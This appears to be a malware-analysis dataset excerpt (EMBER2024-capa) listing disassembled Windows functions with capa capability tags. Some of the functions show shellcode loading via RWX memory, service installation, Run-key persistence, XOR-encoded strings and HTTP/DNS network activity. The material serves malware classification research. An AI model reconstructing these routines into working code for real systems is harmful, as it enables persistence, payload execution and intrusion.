joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x4011d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4011e9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4011fd
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x40121e
cmp esi, eax
jae 0x4011f7
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401210
cmp esi, eax
jae 0x4011f7
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x401ae0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40a878
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
mov eax, dword [esi]
mov ecx, dword [eax - 0x10]
mov edx, dword [ecx]
push edi
xor edi, edi
mov dword [esp + 8], edi
call dword [edx + 0x10]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
mov edx, dword [eax - 0xc]
mov ecx, dword [esi]
mov esi, dword [ecx - 0xc]
push edx
push eax
push esi
push ecx
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x28], edi
call fcn.004015e0
mov esi, dword [esp + 0x34]
add esi, 0xfffffff0
push esi
call fcn.00401400
mov edi, dword [esp + 0x34]
add eax, 0x10
mov dword [edi], eax
add esp, 0x18
mov dword [esp + 0x14], 0xffffffff
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x401b72
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x402e80
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
test ebx, ebx
jne 0x402e8d
xor eax, eax
pop ebx
ret
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [edi + 1]
push eax
call fcn.00404e00
add esp, 4
test edi, edi
mov esi, eax
jle 0x402ebf
mov edx, ebx
push ebp
mov ecx, esi
sub edx, esi
mov ebp, edi
mov al, byte [edx + ecx]
xor al, 0x5b
mov byte [ecx], al
inc ecx
dec ebp
jne 0x402eb3
pop ebp
mov byte [esi + edi], 0
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x402ed0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jbe 0x402eee
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
xor dword [eax + ecx], esi
add eax, 4
cmp eax, edx
jb 0x402ee3
pop esi
ret

Function at 0x402ef0
Capabilities:
Create service
Start service

Disassembly:
sub esp, 0x44
mov eax, dword [0x40e0b0]
push ebx
push esi
push edi
mov edi, dword [esp + 0x54]
push 0x5c
push edi
mov dword [esp + 0x54], eax
call fcn.00404e40
add esp, 8
mov esi, eax
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
push esi
call fcn.00404e40
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push eax
call esi
lea ecx, [esp + 0xc]
lea ebx, [esp + 0xc]
push ecx
sub ebx, eax
call esi
push 0xf003f
push 0
push 0
mov byte [ebx + eax - 1], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x402fc0
cmp esi, 0xffffffff
je 0x402fc0
push 0
push 0
push 0
push 0
push 0
push edi
push 1
push 1
push 1
push 0xf01ff
lea edx, [esp + 0x34]
push edx
mov eax, edx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
je 0x402f8c
cmp edi, 0xffffffff
jne 0x402fa5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xf01ff
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x402fd2
call edi
push esi
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x40]
call fcn.00405b4e
add esp, 0x44
ret
call edi
push esi
call edi
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
mov eax, 1
pop ebx
call fcn.00405b4e
add esp, 0x44
ret
Function at 0x402ff0
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x60
mov eax, dword [0x40e0b0]
push esi
push edi
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x6c]
push 0x5c
push eax
call fcn.00404e40
add esp, 8
mov esi, eax
push esi
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
push esi
call fcn.00404e40
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push eax
call esi
lea edx, [esp + 0x24]
lea edi, [esp + 0x24]
push edx
sub edi, eax
call esi
push 0xf003f
push 0
push 0
mov byte [edi + eax - 1], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x4030cd
cmp esi, 0xffffffff
je 0x4030cd
push 0xf01ff
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x4030c6
cmp edi, 0xffffffff
je 0x4030c6
lea ecx, [esp + 8]
push ecx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x4030ad
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x5c]
call fcn.00405b4e
add esp, 0x60
ret
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x5c]
call fcn.00405b4e
add esp, 0x60
ret
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [esp + 0x64]
pop edi
xor eax, eax
pop esi
call fcn.00405b4e
add esp, 0x60
ret

Function at 0x4030e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push 0x40000000
push str..LanManDrv
call fcn.00404dd0
add esp, 8
cmp eax, 0xffffffff
mov dword [esp], eax
jne 0x403103
xor eax, eax
add esp, 8
ret
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
lea ebp, [esi + 1]
push ebp
call fcn.00404e00
mov ecx, esi
mov esi, dword [esp + 0x24]
mov ebx, eax
mov al, byte [esp + 0x20]
mov edx, ecx
shr ecx, 2
mov byte [ebx], al
lea edi, [ebx + 1]
rep movsd dword es:[edi], dword [esi]
add esp, 4
push 0
lea eax, [esp + 0x18]
push eax
mov ecx, edx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call fcn.00404e20
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret
Function at 0x403200
Capabilities:
Delete file
Read file on windows

Disassembly:
sub esp, 0x810
mov eax, dword [0x40e0b0]
push esi
mov dword [esp + 0x810], eax
lea eax, [esp + 0x10]
push 0x200
push eax
call fcn.00405160
add esp, 8
push str.iexchg.dll
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push 0x80000000
push edx
call fcn.00404dd0
mov esi, eax
add esp, 8
cmp esi, 0xffffffff
jne 0x403264
xor eax, eax
pop esi
mov ecx, dword [esp + 0x80c]
call fcn.00405b4e
add esp, 0x810
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [esp + 0x10]
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
push esi
call edi
test eax, eax
je 0x4033ac
mov eax, dword [esp + 0x10]
push 0
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x620]
push ecx
push esi
call edi
test eax, eax
je 0x4033ac
mov edx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x10]
push eax
push 4
lea ecx, [esp + 0x14]
push ecx
push esi
mov byte [esp + edx + 0x628], 0
call edi
test eax, eax
je 0x4033ac
mov eax, dword [esp + 8]
push 0
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x420]
push ecx
push esi
call edi
test eax, eax
je 0x4033ac
mov edx, dword [esp + 8]
push esi
mov byte [esp + edx + 0x418], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x200
lea ecx, [esp + 0x218]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, dword [esp + 8]
inc edx
push edx
call fcn.00404e00
mov dword [0x40e374], eax
mov eax, dword [esp + 0x14]
inc eax
push eax
call fcn.00404e00
add esp, 8
lea ecx, [esp + 0x214]
push ecx
mov dword [0x40e378], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.00404e00
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 4
lea edx, [esp + 0x414]
mov dword [0x40e37c], eax
mov eax, dword [0x40e374]
push edx
push eax
call esi
mov edx, dword [0x40e37c]
lea ecx, [esp + 0x214]
push ecx
push edx
call esi
mov ecx, dword [0x40e378]
lea eax, [esp + 0x614]
push eax
push ecx
call esi
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x80c]
call fcn.00405b4e
add esp, 0x810
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x814]
pop edi
xor eax, eax
pop esi
call fcn.00405b4e
add esp, 0x810
ret
Function at 0x4033d0
Capabilities:
Delete registry value
Initialize winsock library
Persist via run registry key

Disassembly:
sub esp, 0x198
mov eax, dword [0x40e0b0]
mov dword [esp + 0x194], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00406640
add esp, 4
lea eax, [esp + 4]
push eax
push 2
call sub.WS2_32.dll_WSAStartup
push 0xa365
push 0x232
push 0x10
push 0
push str.__srvmgr32
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [esp]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
push str.ZwQueryService
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00403200
test eax, eax
je 0x40345c
call fcn.00404160
test eax, eax
jne 0x403471
xor eax, eax
mov ecx, dword [esp + 0x194]
call fcn.00405b4e
add esp, 0x198
ret
call fcn.004042b0
mov ecx, dword [0x40e374]
push ecx
call fcn.00402ef0
mov edx, dword [0x40e380]
add esp, 4
push 0x4011c0
push 0xbb8
push 0x161
push edx
call dword [sym.imp.USER32.dll_SetTimer]
call fcn.00404500
test eax, eax
jne 0x4034af
call fcn.004045c0
call fcn.00402e60
call fcn.00402e40
mov eax, dword [0x40e374]
push 0x5c
push eax
call fcn.00404e40
push eax
call fcn.00403190
mov ecx, dword [0x40e378]
push 0x5c
push ecx
call fcn.00404e40
push eax
call fcn.00403190
mov edx, dword [0x40e37c]
push 0x5c
push edx
call fcn.00404e40
push eax
call fcn.00403190
call fcn.00403170
push str.ZwQueryService
call fcn.004031b0
mov eax, dword [0x40e378]
push 0x5c
push eax
call fcn.00404e40
push eax
call fcn.004031b0
mov ecx, dword [esp + 0x1c8]
add esp, 0x34
mov eax, 1
call fcn.00405b4e
add esp, 0x198
ret
Function at 0x4036e0
Capabilities:
Copy file
Create process on windows

Disassembly:
sub esp, 0x54
push ebx
mov ebx, dword [esp + 0x5c]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor esi, esi
cmp eax, esi
jle 0x403703
cmp byte [eax + ebx], 0x5c
je 0x403701
dec eax
cmp eax, esi
jg 0x4036f6
cmp eax, esi
jne 0x40370d
pop esi
xor eax, eax
pop ebx
add esp, 0x54
ret
push edi
push 0x200
call fcn.00404e00
mov edi, eax
push 0x200
push edi
call fcn.00405160
add esp, 0xc
push str.lanmanwrk.exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x40b578
push esi
push esi
push esi
push esi
push esi
push edi
push edi
mov dword [esp + 0x44], 0x44
mov word [esp + 0x76], si
mov dword [esp + 0x6c], esi
mov dword [esp + 0x70], esi
mov dword [esp + 0x54], esi
mov dword [esp + 0x64], esi
mov dword [esp + 0x5c], esi
mov dword [esp + 0x58], esi
mov dword [esp + 0x68], esi
mov dword [esp + 0x60], esi
mov dword [esp + 0x84], esi
mov dword [esp + 0x7c], esi
mov dword [esp + 0x80], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x78], esi
mov dword [esp + 0x50], esi
mov word [esp + 0x74], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push edi
call fcn.00404e20
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x54
ret
Function at 0x4042b0
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
mov eax, dword [0x40e378]
sub esp, 0x14
push edi
push 0x80000000
push eax
call fcn.00404dd0
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
jne 0x4042d5
xor eax, eax
pop edi
add esp, 0x14
ret
push ebx
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [esp + 0x18], ebx
call fcn.00404e00
add esp, 4
push 0
lea ecx, [esp + 0x1c]
push ecx
push ebx
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push esi
call fcn.00404270
mov edi, eax
add esp, 8
test edi, edi
je 0x4043c8
mov edx, dword [edi + esi]
mov ebx, dword [edi + esi + 4]
push ebp
mov dword [esp + 0x14], edx
lea ebp, [edi + esi + 8]
call fcn.00404200
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x14]
push eax
push ebx
push ebp
call fcn.00402ed0
mov ecx, dword [esp + 0x1c]
push ecx
push ebx
push ebp
call fcn.00402ed0
mov edx, dword [esp + 0x28]
mov dword [edi + esi], edx
mov eax, dword [0x40e378]
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x40e378]
push 0x40000000
push ecx
call fcn.00404dd0
add esp, 8
mov edi, eax
cmp edi, 0xffffffff
pop ebp
jne 0x4043d1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
mov edx, dword [0x40e378]
push 0x40000000
push edx
call fcn.00404dd0
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
jne 0x4043d1
push 0x1388
call ebx
mov eax, dword [0x40e378]
push 0x40000000
push eax
call fcn.00404dd0
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
jne 0x4043d1
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x14
ret
mov edx, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x20]
push ecx
push edx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov eax, 1
pop edi
add esp, 0x14
ret

Function at 0x404400
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
mov eax, dword [0x40e0b0]
mov dword [esp + 0x100], eax
push 0xff
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edx, dword [esp + 0x108]
push str.qmopt.dll
lea ecx, [esp + 4]
push ecx
push str._s_system32_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [esp + 0x110]
call fcn.00405b4e
add esp, 0x114
ret

Function at 0x404460
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x108
mov eax, dword [0x40e0b0]
mov dword [esp + 0x104], eax
lea eax, [esp + 4]
push esi
push eax
call fcn.00404400
add esp, 4
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4044ba
xor eax, eax
pop esi
mov ecx, dword [esp + 0x104]
call fcn.00405b4e
add esp, 0x108
ret
push 0
lea edx, [esp + 8]
push edx
push 0x254
push 0x40e388
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 4]
xor eax, eax
test ecx, ecx
mov ecx, dword [esp + 0x108]
setne al
pop esi
call fcn.00405b4e
add esp, 0x108
ret
Function at 0x404500
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov eax, dword [0x40e0b0]
push esi
mov dword [esp + 0x108], eax
lea eax, [esp + 8]
push edi
push eax
call fcn.00404400
add esp, 4
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
mov ecx, 0x95
mov edi, 0x40e388
rep stosd dword es:[edi], eax
push 0x80000000
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404577
push 0
lea edx, [esp + 0xc]
push edx
push 0x254
push 0x40e388
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 8]
test eax, eax
push esi
jne 0x40458e
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x104]
call fcn.00405b4e
add esp, 0x108
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00404460
mov ecx, dword [esp + 0x10c]
pop edi
mov eax, 1
pop esi
call fcn.00405b4e
add esp, 0x108
ret
Function at 0x404860
Capabilities:
Resolve dns

Disassembly:
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [str.___u025_25___44__u5__]
xor edi, edi
test ecx, ecx
mov eax, 0x40e064
je 0x40488b
lea esp, [esp]
mov ecx, dword [eax + 4]
add eax, 4
inc edi
test ecx, ecx
jne 0x404880
push str.www.google.com
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x4048a3
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
cmp dword [ecx], 0
jne 0x4048af
mov edx, dword [esp + 0xc]
mov byte [edx], 0
xor eax, eax
pop edi
pop ecx
ret
mov eax, dword [0x40e3ac]
push esi
push eax
call fcn.00404660
add esp, 4
test eax, eax
je 0x404918
push 0x40
call fcn.00404e00
movzx ecx, byte [0x40e3af]
movzx edx, byte [0x40e3ae]
push ecx
movzx ecx, byte [0x40e3ac]
mov esi, eax
movzx eax, byte [0x40e3ad]
push edx
push eax
push ecx
push str._d._d._d._d
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [esp + 0x2c]
add esp, 0x1c
push esi
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call fcn.00404e20
add esp, 4
pop esi
mov eax, 1
pop edi
pop ecx
ret
mov al, byte [0x40e3b4]
push ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push ebx
movzx eax, al
mov ecx, dword [eax*4 + 0x40e064]
push ecx
call fcn.00402e80
add esp, 4
mov esi, eax
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x404953
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ebx, dword [eax]
test ebx, ebx
mov dword [esp + 0x10], ebx
jne 0x404981
mov bl, byte [0x40e3b4]
inc bl
push esi
mov byte [0x40e3b4], bl
call fcn.00404e20
movzx ecx, byte [0x40e3b4]
add esp, 4
cmp ecx, edi
jge 0x4049e5
call fcn.00404460
mov al, byte [0x40e3b4]
jmp 0x4049da
movzx edx, byte [esp + 0x13]
movzx eax, byte [esp + 0x12]
push edx
push eax
movzx ecx, bh
push ecx
movzx edx, bl
push edx
push str._d._d._d._d
push esi
call ebp
movzx eax, byte [0x40e3b4]
mov ecx, dword [eax*4 + 0x40e064]
push ecx
call fcn.00402e80
push ebx
call fcn.00404660
add esp, 0x20
test eax, eax
push esi
jne 0x404a05
call fcn.00404e20
mov al, byte [0x40e3b4]
add esp, 4
inc al
movzx edx, al
cmp edx, edi
mov byte [0x40e3b4], al
jge 0x4049e5
movzx ecx, al
cmp ecx, edi
jl 0x404925
mov eax, dword [esp + 0x18]
pop ebx
pop ebp
mov byte [0x40e3b4], 0
mov dword [0x40e3ac], 0
pop esi
mov byte [eax], 0
xor eax, eax
pop edi
pop ecx
ret
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x40e3ac], ebx
call fcn.00404460
push esi
call fcn.00404e20
add esp, 4
pop ebx
pop ebp
pop esi
mov eax, 1
pop edi
pop ecx
ret
Function at 0x404e70
Capabilities:
Create http request

Disassembly:
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
push 0x40b75c
mov dword [esp + 0x10], ebx
call fcn.00402e80
add esp, 4
mov esi, eax
push esi
push 0x40b750
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov edi, eax
push ebx
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp edi, ebx
je 0x404fcb
push ebx
push ebx
push ebx
push ebx
push 0x40b289
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x84000100
push ebx
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push eax
push esi
mov dword [esp + 0x34], esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp esi, ebx
mov edi, eax
mov dword [esp + 0x10], edi
je 0x404fb8
cmp edi, ebx
je 0x404fb8
cmp esi, 0xffffffff
je 0x404fb8
cmp edi, 0xffffffff
je 0x404fb8
mov ecx, dword [esp + 0x2c]
mov esi, dword [ecx]
push ebp
push esi
mov dword [esp + 0x1c], esi
call fcn.00404e00
add esp, 4
mov ebp, eax
jmp 0x404f30
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
lea esp, [esp]
mov eax, esi
sub eax, ebx
cmp eax, 0x8000
jbe 0x404f40
mov eax, 0x8000
lea edx, [esp + 0x10]
push edx
push eax
push ebp
push edi
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x2c]
mov edx, ecx
shr ecx, 2
lea edi, [ebx + eax]
mov esi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
add ebx, eax
test eax, eax
jne 0x404f7f
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
test eax, eax
ja 0x404f24
mov eax, dword [esp + 0x34]
test eax, eax
pop ebp
jne 0x404f92
mov eax, dword [esp + 0x28]
mov byte [ebx + eax], 0
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
mov dword [ecx], ebx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x14
ret
cmp dword [esp + 0x30], ebx
jne 0x404fc5
mov ecx, dword [esp + 0x28]
mov byte [ecx], 0
mov edx, dword [esp + 0x2c]
mov dword [edx], ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x14
ret